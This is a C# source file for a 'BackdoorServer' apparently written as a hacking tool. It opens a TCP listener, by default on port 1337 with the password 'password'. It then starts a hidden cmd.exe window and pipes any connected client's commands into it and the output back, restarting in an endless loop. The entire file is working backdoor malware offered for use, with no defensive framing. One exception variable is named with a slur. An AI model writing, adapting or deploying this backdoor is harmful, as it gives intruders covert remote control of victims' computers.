/***************************************************************** * * Created By DarkTussin * * ***************************************************************/ using System; using System.Diagnostics; using System.Net; using System.Net.Sockets; using System.Threading; using System.IO; namespace BackdoorServer { public class Backdoor { private TcpListener listener; //ServerSocket object for listening private Socket mainSocket; //Socket to handle client-server communication private int port; //Port the server listens on private String name; //The server name private String password; //The server password private bool verbose = true; //Displays messages in console if True private Process shell; //The shell process private StreamReader fromShell; private StreamWriter toShell; private StreamReader inStream; private StreamWriter outStream; private Thread shellThread; //So we can destroy the Thread when the client disconnects private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared public Backdoor() { //Use default settings port = DEFAULT_PORT; name = DEFAULT_NAME; password = DEFAULT_PASS; } public Backdoor(int p) { //Define port only port = p; name = DEFAULT_NAME; password = DEFAULT_PASS; } public Backdoor(int p, String n) { //Define port and server name port = p; name = n; password = DEFAULT_PASS; } public Backdoor(int p, String n, String pass) { //Define port, server name, and password port = p; name = n; password = pass; } public Backdoor(int p, String n, String pass, bool verb) { //Define port, server name, and password port = p; name = n; password = pass; verbose = verb; } //////////////////////////////////////////////////////////////////////// //the startServer method waits for a connection, checks the password, //and either drops the client or starts a remote shell //////////////////////////////////////////////////////////////////////// public void startServer() { try { if(verbose) Console.WriteLine("Listening on port " + port); //Create the ServerSocket listener = new TcpListener(port); listener.Start(); //Stop and wait for a connection mainSocket = listener.AcceptSocket(); if(verbose) Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint); Stream s = new NetworkStream(mainSocket); inStream = new StreamReader(s); outStream = new StreamWriter(s); outStream.AutoFlush = true; String checkPass = inStream.ReadLine(); if(verbose) Console.WriteLine("Client tried password " + checkPass); if(!checkPass.Equals(password)) { //if the password is not correct if(verbose) Console.WriteLine("Incorrect Password"); badPass(); //Drop the client return; } if(verbose) Console.WriteLine("Password Accepted."); shell = new Process(); ProcessStartInfo p = new ProcessStartInfo("cmd"); p.CreateNoWindow = true; p.UseShellExecute = false; p.RedirectStandardError = true; p.RedirectStandardInput = true; p.RedirectStandardOutput = true; shell.StartInfo = p; shell.Start(); toShell = shell.StandardInput; fromShell = shell.StandardOutput; toShell.AutoFlush = true; shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell shellThread.Start(); outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client outStream.WriteLine("Starting shell...\n"); getInput(); //Prepare to monitor client input... dropConnection(); //When getInput() is terminated the program will come back here } catch(Exception) { dropConnection(); } } ////////////////////////////////////////////////////////////////////////////////////////////// //The run method handles shell output in a seperate thread ////////////////////////////////////////////////////////////////////////////////////////////// void getShellInput() { try { String tempBuf = ""; outStream.WriteLine("\r\n"); while ((tempBuf = fromShell.ReadLine()) != null) { outStream.WriteLine(tempBuf + "\r"); } dropConnection(); } catch (Exception gay) { /*dropConnection();*/ } } private void getInput() { try { String tempBuff = ""; //Prepare a string to hold client commands while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null if(verbose) Console.WriteLine("Received command: " + tempBuff); handleCommand(tempBuff); //Handle the client's commands } } catch(Exception) {} } private void handleCommand(String com) { //Here we can catch commands before they are sent try { //to the shell, so we could write our own if we want if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it outStream.WriteLine("\n\nClosing the shell and Dropping the connection..."); dropConnection(); //to drop the connection } toShell.WriteLine(com + "\r\n"); } catch(Exception) { dropConnection(); } } //////////////////////////////////////////////////////////////////// //The drop connection method closes all connections and //resets the objects to their null states to be created again //I don't know if this is the best way to do it but it seems to //work without issue. //////////////////////////////////////////////////////////////////// private void badPass() { inStream.Dispose(); outStream.Dispose(); mainSocket.Close(); listener.Stop(); return; } private void dropConnection() { try { if(verbose) Console.WriteLine("Dropping Connection"); shell.Close(); shell.Dispose(); shellThread.Abort(); shellThread = null; inStream.Dispose(); //Close everything... outStream.Dispose(); toShell.Dispose(); fromShell.Dispose(); shell.Dispose(); mainSocket.Close(); listener.Stop(); return; } catch(Exception) {} } static void Main(string[] args) { try { Backdoor bd = new Backdoor(); if (args.Length == 1) bd = new Backdoor(int.Parse(args[0])); if (args.Length == 2) bd = new Backdoor(int.Parse(args[0]), args[1]); if (args.Length == 3) bd = new Backdoor(int.Parse(args[0]), args[1], args[2]); else if (args.Length == 4) bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3])); while (true) { bd.startServer(); } } catch(Exception) {} } } }